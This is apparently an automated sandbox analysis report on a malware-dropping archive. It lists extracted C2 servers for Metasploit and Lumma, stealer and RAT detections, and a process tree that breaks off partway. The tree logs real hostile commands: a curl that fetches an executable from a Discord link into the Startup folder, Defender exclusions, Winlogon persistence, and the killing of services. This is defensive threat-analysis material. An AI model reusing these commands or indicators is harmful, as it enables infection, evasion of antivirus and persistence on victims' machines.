Overview

overview

10

Static

static

3

New Text D...xe.zip

windows7-x64

7

New Text D...xe.zip

windows10-2004-x64

10

New Text D...xe.zip

windows10-ltsc 2021-x64

10

New Text D...xe.zip

windows11-21h2-x64

10

Resubmissions

28-11-2024 19:39

241128-yc84dstkfn 10

16-11-2024 19:52

241116-ylqcmssfqd 10

16-11-2024 17:56

241116-wjcyeszmht 10

Analysis

  • max time kernel
    640s
  • max time network
    641s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16-11-2024 19:52

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    New Text Document.exe.zip

  • Size

    1KB

  • MD5

    f3910b212669210383b5efcd278818fe

  • SHA1

    1708977352c5b19d8c126797a34cd1d8eedcfd19

  • SHA256

    85b8d5214c0bc80b888c6a3404c2a371e3aaba32561d069f454b0af159015396

  • SHA512

    f6ab525df5e79d59f05ac7618de628e1e5bf956ce8db9add144214c2c8a64282a0ce79c46ca4b88c1f7754ab8cb7f0883a080e1096c9561edb1f455aff95b499

Score
10/10
gh0stratlummametasploitpurplefoxvipkeyloggerzharkbotaspackv2backdoorbotnetcollectiondiscoveryevasionexecutionkeyloggerpersistenceratrootkitspywarestealertrojanupx

Malware Config

Extracted

Family

metasploit

Version

windows/reverse_tcp

C2

64.176.38.237:8139

64.176.38.237:443

Extracted

Family

vipkeylogger

Credentials

Extracted

Family

lumma

C2

https://c0al1t1onmatch.cyou/api

Signatures

  • Detect PurpleFox Rootkit 3 IoCs

    Detect PurpleFox Rootkit.

    rootkit
  • Detects ZharkBot payload 1 IoCs

    ZharkBot is a botnet written C++.

  • Gh0st RAT payload 3 IoCs
  • Gh0strat

    Gh0st RAT is a remote access tool (RAT) with its source code public and it has been used by multiple Chinese groups.

    ratgh0strat
  • Gh0strat family
    gh0strat
  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Lumma family
    lumma
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

    trojanbackdoormetasploit
  • Metasploit family
    metasploit
  • Modifies WinLogon for persistence 2 TTPs 2 IoCs
    persistence
  • PurpleFox

    PurpleFox is an exploit kit used to distribute other malware families and first seen in 2018.

    rootkittrojanpurplefox
  • Purplefox family
    purplefox
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • UAC bypass 3 TTPs 6 IoCs
    evasiontrojan
  • VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

    stealerkeyloggervipkeylogger
  • Vipkeylogger family
    vipkeylogger
  • ZharkBot

    ZharkBot is a botnet written C++.

    botnetzharkbot
  • Zharkbot family
    zharkbot
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
    evasion
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Stops running service(s) 4 TTPs
    evasionexecution
  • .NET Reactor proctector 4 IoCs

    Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

  • ASPack v2.12-2.42 1 IoCs

    Detects executables packed with ASPack v2.12-2.42

    aspackv2
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 9 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 56 IoCs
  • Identifies Wine through registry keys 2 TTPs 1 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    evasion
  • Loads dropped DLL 41 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

    spywarestealer
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unexpected DNS network traffic destination 5 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
    collection
  • Accesses Microsoft Outlook profiles 1 TTPs 10 IoCs
    collection
  • Adds Run key to start application 2 TTPs 4 IoCs
    persistence
  • Checks for any installed AV software in registry 1 TTPs 8 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 4 IoCs
    evasiontrojan
  • Drops desktop.ini file(s) 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 62 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • UPX packed file 17 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 1 IoCs
  • Drops file in Windows directory 7 IoCs
  • Launches sc.exe 2 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Embeds OpenSSL 1 IoCs

    Embeds OpenSSL, may be used to circumvent TLS interception.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 4 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 16 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Checks processor information in registry 2 TTPs 26 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 1 IoCs
    evasion
  • Modifies registry class 62 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Runs net.exe
  • Runs ping.exe 1 TTPs 8 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 32 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 6 IoCs
    evasion
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3436
      • C:\Program Files\7-Zip\7zFM.exe
        "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\New Text Document.exe.zip"
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:3960
      • C:\Users\Admin\Desktop\New Text Document.exe
        "C:\Users\Admin\Desktop\New Text Document.exe"
        2⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2776
        • C:\Users\Admin\Desktop\a\SKOblik.exe
          "C:\Users\Admin\Desktop\a\SKOblik.exe"
          3⤵
          • Checks computer location settings
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:4876
          • C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe
            "C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe"
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious use of SetWindowsHookEx
            PID:3376
            • C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe
              "C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe" restart
              5⤵
              • Checks computer location settings
              • Executes dropped EXE
              • Loads dropped DLL
              • Accesses Microsoft Outlook accounts
              • Accesses Microsoft Outlook profiles
              • Adds Run key to start application
              • Drops file in Program Files directory
              • Checks processor information in registry
              • Modifies system certificate store
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SetWindowsHookEx
              • outlook_office_path
              • outlook_win_path
              PID:3608
              • C:\Windows\SysWOW64\cmd.exe
                cmd.exe /c ver
                6⤵
                  PID:2000
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe
                  6⤵
                  • Command and Scripting Interpreter: PowerShell
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of AdjustPrivilegeToken
                  PID:17124
          • C:\Users\Admin\Desktop\a\opengl32.dll40watson-sanchez4040830.exe
            "C:\Users\Admin\Desktop\a\opengl32.dll40watson-sanchez4040830.exe"
            3⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious use of SetWindowsHookEx
            PID:5040
          • C:\Users\Admin\Desktop\a\Guide2018.exe
            "C:\Users\Admin\Desktop\a\Guide2018.exe"
            3⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Checks processor information in registry
            PID:4488
          • C:\Users\Admin\Desktop\a\stories.exe
            "C:\Users\Admin\Desktop\a\stories.exe"
            3⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2704
            • C:\Users\Admin\AppData\Local\Temp\is-6IQIO.tmp\stories.tmp
              "C:\Users\Admin\AppData\Local\Temp\is-6IQIO.tmp\stories.tmp" /SL5="$302AA,5532893,721408,C:\Users\Admin\Desktop\a\stories.exe"
              4⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of WriteProcessMemory
              PID:1260
              • C:\Windows\SysWOW64\net.exe
                "C:\Windows\system32\net.exe" pause shine-encoder_11152
                5⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:1924
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 pause shine-encoder_11152
                  6⤵
                    PID:3664
                • C:\Users\Admin\AppData\Local\Shine Encoder 1.4.3\shineencoder32.exe
                  "C:\Users\Admin\AppData\Local\Shine Encoder 1.4.3\shineencoder32.exe" -i
                  5⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • System Location Discovery: System Language Discovery
                  PID:4992
            • C:\Users\Admin\Desktop\a\wwbizsrvs.exe
              "C:\Users\Admin\Desktop\a\wwbizsrvs.exe"
              3⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3596
            • C:\Users\Admin\Desktop\a\msf.exe
              "C:\Users\Admin\Desktop\a\msf.exe"
              3⤵
              • Executes dropped EXE
              PID:4072
            • C:\Users\Admin\Desktop\a\msf443.exe
              "C:\Users\Admin\Desktop\a\msf443.exe"
              3⤵
              • Executes dropped EXE
              PID:5076
            • C:\Users\Admin\Desktop\a\client.exe
              "C:\Users\Admin\Desktop\a\client.exe"
              3⤵
              • Executes dropped EXE
              • Drops desktop.ini file(s)
              • Drops file in Windows directory
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2024
              • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
                "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\e4rlx782.cmdline"
                4⤵
                  PID:1432
                  • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
                    C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8C20.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC8C1F.tmp"
                    5⤵
                      PID:808
                • C:\Users\Admin\Desktop\a\Pawyvstri.exe
                  "C:\Users\Admin\Desktop\a\Pawyvstri.exe"
                  3⤵
                  • Suspicious use of NtCreateUserProcessOtherParentProcess
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:4364
                • C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe
                  "C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe"
                  3⤵
                  • Checks computer location settings
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:4316
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe"
                    4⤵
                    • Command and Scripting Interpreter: PowerShell
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4340
                  • C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe
                    "C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe"
                    4⤵
                    • Executes dropped EXE
                    • Accesses Microsoft Outlook profiles
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3080
                • C:\Users\Admin\Desktop\a\op.exe
                  "C:\Users\Admin\Desktop\a\op.exe"
                  3⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:3488
                  • C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\installer.exe
                    .\installer.exe
                    4⤵
                    • Checks computer location settings
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of WriteProcessMemory
                    PID:4884
                    • C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe
                      "C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe" C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe
                      5⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      • Checks for any installed AV software in registry
                      • System Location Discovery: System Language Discovery
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of SetWindowsHookEx
                      PID:452
                • C:\Users\Admin\Desktop\a\babababa.exe
                  "C:\Users\Admin\Desktop\a\babababa.exe"
                  3⤵
                  • Executes dropped EXE
                  PID:3448
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /d /s /c "C:\Users\Admin\AppData\Local\Temp\decrypted_executable.exe"
                    4⤵
                      PID:4132
                      • C:\Users\Admin\AppData\Local\Temp\decrypted_executable.exe
                        C:\Users\Admin\AppData\Local\Temp\decrypted_executable.exe
                        5⤵
                        • Checks computer location settings
                        • Executes dropped EXE
                        PID:2264
                        • C:\Windows\system32\cmd.exe
                          "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\A2B0.tmp\A2B1.tmp\A2B2.bat C:\Users\Admin\AppData\Local\Temp\decrypted_executable.exe"
                          6⤵
                            PID:3064
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              powershell -w hidden -c Add-MpPreference -ExclusionPath ""
                              7⤵
                              • Command and Scripting Interpreter: PowerShell
                              • Suspicious use of AdjustPrivilegeToken
                              PID:904
                            • C:\Windows\system32\curl.exe
                              curl --silent --output "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DataStore1.exe" "https://cdn.discordapp.com/attachments/1167169926193229925/1306213355966435360/decrypter.exe?ex=6735d97c&is=673487fc&hm=3f582970dc363d475b432b390a941fae5b9a6a3f9388809e2d818b6f1c1f06ff&"
                              7⤵
                              • Drops startup file
                              PID:4508
                    • C:\Users\Admin\Desktop\a\shttpsr_mg.exe
                      "C:\Users\Admin\Desktop\a\shttpsr_mg.exe"
                      3⤵
                      • Executes dropped EXE
                      • System Location Discovery: System Language Discovery
                      PID:1380
                    • C:\Users\Admin\Desktop\a\Autoupdate.exe
                      "C:\Users\Admin\Desktop\a\Autoupdate.exe"
                      3⤵
                      • UAC bypass
                      • Executes dropped EXE
                      • Checks whether UAC is enabled
                      • Drops file in Windows directory
                      • System Location Discovery: System Language Discovery
                      • System policy modification
                      PID:2424
                      • C:\Users\Admin\AppData\Roaming\icsys.ico.exe
                        C:\Users\Admin\AppData\Roaming\icsys.ico.exe
                        4⤵
                        • Modifies WinLogon for persistence
                        • UAC bypass
                        • Executes dropped EXE
                        • Adds Run key to start application
                        • Checks whether UAC is enabled
                        • Drops file in Windows directory
                        • System Location Discovery: System Language Discovery
                        • System policy modification
                        PID:2816
                    • C:\Users\Admin\Desktop\a\SecurityHealthService.exe
                      "C:\Users\Admin\Desktop\a\SecurityHealthService.exe"
                      3⤵
                      • Executes dropped EXE
                      • System Location Discovery: System Language Discovery
                      • Suspicious use of AdjustPrivilegeToken
                      PID:816
                      • C:\Windows\SysWOW64\cmd.exe
                        "cmd" /c ping 127.0.0.1 -n 6 > nul && REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "C:\Windows\explorer.exe, c:\windows\wininit.exe,C:\Users\Admin\Music\Windows Security Health Host.exe,"
                        4⤵
                        • System Location Discovery: System Language Discovery
                        • System Network Configuration Discovery: Internet Connection Discovery
                        PID:3488
                        • C:\Windows\SysWOW64\PING.EXE
                          ping 127.0.0.1 -n 6
                          5⤵
                          • System Location Discovery: System Language Discovery
                          • System Network Configuration Discovery: Internet Connection Discovery
                          • Runs ping.exe
                          PID:3020
                        • C:\Windows\SysWOW64\reg.exe
                          REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "C:\Windows\explorer.exe, c:\windows\wininit.exe,C:\Users\Admin\Music\Windows Security Health Host.exe,"
                          5⤵
                          • Modifies WinLogon for persistence
                          PID:3444
                      • C:\Windows\SysWOW64\cmd.exe
                        "cmd" /c ping 127.0.0.1 -n 12 > nul && copy "C:\Users\Admin\Desktop\a\SecurityHealthService.exe" "C:\Users\Admin\Music\Windows Security Health Host.exe" && ping 127.0.0.1 -n 12 > nul && "C:\Users\Admin\Music\Windows Security Health Host.exe"
                        4⤵
                        • System Location Discovery: System Language Discovery
                        • System Network Configuration Discovery: Internet Connection Discovery
                        PID:5008
                        • C:\Windows\SysWOW64\PING.EXE
                          ping 127.0.0.1 -n 12
                          5⤵
                          • System Location Discovery: System Language Discovery
                          • System Network Configuration Discovery: Internet Connection Discovery
                          • Runs ping.exe
                          PID:748
                        • C:\Windows\SysWOW64\PING.EXE
                          ping 127.0.0.1 -n 12
                          5⤵
                          • System Location Discovery: System Language Discovery
                          • System Network Configuration Discovery: Internet Connection Discovery
                          • Runs ping.exe
                          PID:16408
                        • C:\Users\Admin\Music\Windows Security Health Host.exe
                          "C:\Users\Admin\Music\Windows Security Health Host.exe"
                          5⤵
                          • Executes dropped EXE
                          • Suspicious use of SetThreadContext
                          • System Location Discovery: System Language Discovery
                          • Suspicious use of AdjustPrivilegeToken
                          PID:17300
                          • C:\Users\Admin\Music\Windows Security Health Host.exe
                            "C:\Users\Admin\Music\Windows Security Health Host.exe"
                            6⤵
                            • Executes dropped EXE
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of AdjustPrivilegeToken
                            PID:17500
                    • C:\Users\Admin\Desktop\a\Geek_se.exe
                      "C:\Users\Admin\Desktop\a\Geek_se.exe"
                      3⤵
                      • Executes dropped EXE
                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                      • System Location Discovery: System Language Discovery
                      PID:3532
                    • C:\Users\Admin\Desktop\a\GOLD.exe
                      "C:\Users\Admin\Desktop\a\GOLD.exe"
                      3⤵
                      • Executes dropped EXE
                      • System Location Discovery: System Language Discovery
                      • Suspicious use of AdjustPrivilegeToken
                      PID:244
                      • C:\Windows\SysWOW64\WerFault.exe
                        C:\Windows\SysWOW64\WerFault.exe -u -p 244 -s 784
                        4⤵
                        • Program crash
                        PID:13144
                    • C:\Users\Admin\Desktop\a\OLDxTEAM.exe
                      "C:\Users\Admin\Desktop\a\OLDxTEAM.exe"
                      3⤵
                      • Executes dropped EXE
                      • System Location Discovery: System Language Discovery
                      • Suspicious use of AdjustPrivilegeToken
                      PID:7644
                      • C:\Windows\SysWOW64\WerFault.exe
                        C:\Windows\SysWOW64\WerFault.exe -u -p 7644 -s 784
                        4⤵
                        • Program crash
                        PID:9616
                    • C:\Users\Admin\Desktop\a\ZharkBOT.exe
                      "C:\Users\Admin\Desktop\a\ZharkBOT.exe"
                      3⤵
                      • Executes dropped EXE
                      PID:25440
                      • C:\Windows\SysWOW64\WerFault.exe
                        C:\Windows\SysWOW64\WerFault.exe -u -p 25440 -s 440
                        4⤵
                        • Program crash
                        PID:25492
                    • C:\Users\Admin\Desktop\a\svchot.exe
                      "C:\Users\Admin\Desktop\a\svchot.exe"
                      3⤵
                      • Executes dropped EXE
                      • Drops file in System32 directory
                      • System Location Discovery: System Language Discovery
                      • Suspicious use of AdjustPrivilegeToken
                      PID:16548
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\Desktop\a\svchot.exe > nul
                        4⤵
                        • System Network Configuration Discovery: Internet Connection Discovery
                        PID:16644
                        • C:\Windows\SysWOW64\PING.EXE
                          ping -n 2 127.0.0.1
                          5⤵
                          • System Network Configuration Discovery: Internet Connection Discovery
                          • Runs ping.exe
                          PID:16812
                    • C:\Users\Admin\Desktop\a\svcyr.exe
                      "C:\Users\Admin\Desktop\a\svcyr.exe"
                      3⤵
                      • Executes dropped EXE
                      • Drops file in Windows directory
                      • System Location Discovery: System Language Discovery
                      PID:16956
                  • C:\Users\Admin\Desktop\New Text Document.exe
                    "C:\Users\Admin\Desktop\New Text Document.exe"
                    2⤵
                    • Checks computer location settings
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2428
                    • C:\Users\Admin\Desktop\a\lum250.exe
                      "C:\Users\Admin\Desktop\a\lum250.exe"
                      3⤵
                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                      • Checks BIOS information in registry
                      • Executes dropped EXE
                      • Identifies Wine through registry keys
                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                      • System Location Discovery: System Language Discovery
                      PID:876
                    • C:\Users\Admin\Desktop\a\Beefy.exe
                      "C:\Users\Admin\Desktop\a\Beefy.exe"
                      3⤵
                      • Executes dropped EXE
                      • System Location Discovery: System Language Discovery
                      PID:2640
                    • C:\Users\Admin\Desktop\a\solandra.exe
                      "C:\Users\Admin\Desktop\a\solandra.exe"
                      3⤵
                      • Executes dropped EXE
                      PID:3508
                    • C:\Users\Admin\Desktop\a\mk.exe
                      "C:\Users\Admin\Desktop\a\mk.exe"
                      3⤵
                      • Executes dropped EXE
                      PID:3396
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -Command "$ws = New-Object -ComObject WScript.Shell; $s = $ws.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mczz.lnk'); $s.TargetPath = 'C:\Users\Admin\Desktop\a\mk.exe'; $s.Save()"
                        4⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Drops startup file
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1924
                    • C:\Users\Admin\Desktop\a\crypted2.exe
                      "C:\Users\Admin\Desktop\a\crypted2.exe"
                      3⤵
                      • Executes dropped EXE
                      • Suspicious use of SetThreadContext
                      • System Location Discovery: System Language Discovery
                      PID:2488
                      • C:\Users\Admin\Desktop\a\crypted2.exe
                        "C:\Users\Admin\Desktop\a\crypted2.exe"
                        4⤵
                        • Executes dropped EXE
                        • System Location Discovery: System Language Discovery
                        PID:1820
                      • C:\Windows\SysWOW64\WerFault.exe
                        C:\Windows\SysWOW64\WerFault.exe -u -p 2488 -s 160
                        4⤵
                        • Program crash
                        PID:4020
                    • C:\Users\Admin\Desktop\a\random.exe
                      "C:\Users\Admin\Desktop\a\random.exe"
                      3⤵
                      • Executes dropped EXE
                      • Adds Run key to start application
                      PID:4820
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c start cmd /C "ping localhost -n 1 && start C:\Users\Admin\AppData\Local\enters.exe"
                        4⤵
                        • System Network Configuration Discovery: Internet Connection Discovery
                        PID:4128
                        • C:\Windows\system32\cmd.exe
                          cmd /C "ping localhost -n 1 && start C:\Users\Admin\AppData\Local\enters.exe"
                          5⤵
                          • System Network Configuration Discovery: Internet Connection Discovery
                          PID:2924
                          • C:\Windows\system32\PING.EXE
                            ping localhost -n 1
                            6⤵
                            • System Network Configuration Discovery: Internet Connection Discovery
                            • Runs ping.exe
                            PID:1420
                          • C:\Users\Admin\AppData\Local\enters.exe
                            C:\Users\Admin\AppData\Local\enters.exe
                            6⤵
                            • Executes dropped EXE
                            PID:1056
                    • C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe
                      "C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe"
                      3⤵
                      • Checks computer location settings
                      • Executes dropped EXE
                      • Suspicious use of SetThreadContext
                      • System Location Discovery: System Language Discovery
                      PID:3616
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe"
                        4⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2900
                      • C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe
                        "C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe"
                        4⤵
                        • Executes dropped EXE
                        • Accesses Microsoft Outlook profiles
                        • System Location Discovery: System Language Discovery
                        • Suspicious use of AdjustPrivilegeToken
                        PID:436
                    • C:\Users\Admin\Desktop\a\tacticalagent-v2.8.0-windows-amd64.exe
                      "C:\Users\Admin\Desktop\a\tacticalagent-v2.8.0-windows-amd64.exe"
                      3⤵
                      • Executes dropped EXE
                      PID:3492
                      • C:\Users\Admin\AppData\Local\Temp\is-30R2S.tmp\tacticalagent-v2.8.0-windows-amd64.tmp
                        "C:\Users\Admin\AppData\Local\Temp\is-30R2S.tmp\tacticalagent-v2.8.0-windows-amd64.tmp" /SL5="$7031E,3652845,825344,C:\Users\Admin\Desktop\a\tacticalagent-v2.8.0-windows-amd64.exe"
                        4⤵
                        • Executes dropped EXE
                        PID:1324
                        • C:\Windows\SysWOW64\cmd.exe
                          "cmd.exe" /c ping 127.0.0.1 -n 2 && net stop tacticalrpc
                          5⤵
                          • System Location Discovery: System Language Discovery
                          • System Network Configuration Discovery: Internet Connection Discovery
                          PID:4252
                          • C:\Windows\SysWOW64\PING.EXE
                            ping 127.0.0.1 -n 2
                            6⤵
                            • System Location Discovery: System Language Discovery
                            • System Network Configuration Discovery: Internet Connection Discovery
                            • Runs ping.exe
                            PID:2924
                          • C:\Windows\SysWOW64\net.exe
                            net stop tacticalrpc
                            6⤵
                              PID:1956
                              • C:\Windows\SysWOW64\net1.exe
                                C:\Windows\system32\net1 stop tacticalrpc
                                7⤵
                                • System Location Discovery: System Language Discovery
                                PID:1456
                          • C:\Windows\SysWOW64\cmd.exe
                            "cmd.exe" /c net stop tacticalagent
                            5⤵
                              PID:2256
                              • C:\Windows\SysWOW64\net.exe
                                net stop tacticalagent
                                6⤵
                                  PID:1560
                                  • C:\Windows\SysWOW64\net1.exe
                                    C:\Windows\system32\net1 stop tacticalagent
                                    7⤵
                                      PID:4088
                                • C:\Windows\SysWOW64\cmd.exe
                                  "cmd.exe" /c ping 127.0.0.1 -n 2 && net stop tacticalrmm
                                  5⤵
                                  • System Location Discovery: System Language Discovery
                                  • System Network Configuration Discovery: Internet Connection Discovery
                                  PID:4444
                                  • C:\Windows\SysWOW64\PING.EXE
                                    ping 127.0.0.1 -n 2
                                    6⤵
                                    • System Location Discovery: System Language Discovery
                                    • System Network Configuration Discovery: Internet Connection Discovery
                                    • Runs ping.exe
                                    PID:2512
                                  • C:\Windows\SysWOW64\net.exe
                                    net stop tacticalrmm
                                    6⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:4876
                                    • C:\Windows\SysWOW64\net1.exe
                                      C:\Windows\system32\net1 stop tacticalrmm
                                      7⤵
                                      • System Location Discovery: System Language Discovery
                                      PID:4328
                                • C:\Windows\SysWOW64\cmd.exe
                                  "cmd.exe" /c taskkill /F /IM tacticalrmm.exe
                                  5⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:1076
                                  • C:\Windows\SysWOW64\taskkill.exe
                                    taskkill /F /IM tacticalrmm.exe
                                    6⤵
                                    • System Location Discovery: System Language Discovery
                                    • Kills process with taskkill
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:4104
                                • C:\Windows\SysWOW64\cmd.exe
                                  "cmd.exe" /c sc delete tacticalagent
